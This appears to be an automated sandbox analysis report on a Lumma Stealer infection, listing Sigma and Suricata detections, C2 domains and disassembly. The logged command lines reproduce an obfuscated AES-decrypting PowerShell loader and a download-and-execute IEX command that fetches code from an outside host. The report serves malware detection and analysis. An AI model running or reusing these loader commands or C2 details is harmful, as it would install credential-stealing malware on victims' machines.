RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4524, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , ProcessId: 616, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4524, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , ProcessId: 616, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B30

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B30

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4524, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , ProcessId: 616, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:26:21.640161+0100	2028371	3	Unknown Traffic	192.168.2.5	49983	188.114.96.3	443	TCP
2024-12-31T09:26:22.578264+0100	2028371	3	Unknown Traffic	192.168.2.5	49984	188.114.96.3	443	TCP
2024-12-31T09:26:23.554736+0100	2028371	3	Unknown Traffic	192.168.2.5	49986	188.114.96.3	443	TCP
2024-12-31T09:26:24.607228+0100	2028371	3	Unknown Traffic	192.168.2.5	49987	188.114.96.3	443	TCP
2024-12-31T09:26:25.693614+0100	2028371	3	Unknown Traffic	192.168.2.5	49988	188.114.96.3	443	TCP
2024-12-31T09:26:28.157830+0100	2028371	3	Unknown Traffic	192.168.2.5	49989	188.114.96.3	443	TCP
2024-12-31T09:26:29.077559+0100	2028371	3	Unknown Traffic	192.168.2.5	49990	188.114.96.3	443	TCP
2024-12-31T09:26:30.056629+0100	2028371	3	Unknown Traffic	192.168.2.5	49991	188.114.96.3	443	TCP
2024-12-31T09:26:31.060161+0100	2028371	3	Unknown Traffic	192.168.2.5	49992	188.114.96.3	443	TCP
2024-12-31T09:26:32.005168+0100	2028371	3	Unknown Traffic	192.168.2.5	49993	104.21.37.128	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:26:22.107850+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49983	188.114.96.3	443	TCP
2024-12-31T09:26:22.998796+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49984	188.114.96.3	443	TCP
2024-12-31T09:26:31.514585+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49992	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:26:22.107850+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49983	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:26:22.998796+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49984	188.114.96.3	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:26:32.385525+0100	2008438	1	A Network Trojan was detected	104.21.37.128	443	192.168.2.5	49993	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:26:24.095583+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49986	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://klipvumisui.shop/	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txtH	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop:443/int_clp_sha.txt	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/h	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txts	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txtr	Avira URL Cloud: Label: malware

Found malware configuration

Source: 8.2.powershell.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "permissiblene.click"], "Build id": "yJaNLj--re5"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Sample uses string decryption to hide its real strings

Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: hummskitnj.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: cashfuzysao.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: appliacnesot.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: screwamusresz.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: inherineau.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: scentniej.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: rebuildeso.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: prisonyfork.buzz
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: permissiblene.click
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 8.2.powershell.exe.400000.0.unpack	String decryptor: yJaNLj--re5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_004164FD CryptUnprotectData,

8_2_004164FD

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.5:49993 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb~ source: powershell.exe, 00000009.00000002.3125436846.0000000007805000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.3125436846.0000000007805000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32ement.Infrastructure.Native.dll3f5f source: powershell.exe, 00000009.00000002.3125696403.000000000782D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.3125696403.000000000780C000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_c0da534e38c01f4d	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\Bcp47Langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\USERENV.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00422870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00422870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [eax+0000069Fh]	8_2_00422870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2]	8_2_0043C210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 6E87DD67h	8_2_0043C210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, edi	8_2_00438C90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, edx	8_2_004085D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ecx], bl	8_2_0040D643
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [esi+24h]	8_2_0040D643
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], bl	8_2_0040D643
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+ecx*2]	8_2_0043E720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [esp+edi*2+34h]	8_2_0041B84B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_0043F800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [edx+000026D6h]	8_2_0041D810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp al, 2Eh	8_2_00426837
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea eax, dword ptr [ecx+ecx]	8_2_0042C097
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [ebx+eax*2]	8_2_0040B8A4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	8_2_0042A8B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_0043F8B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, ecx	8_2_00409140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_0043F940
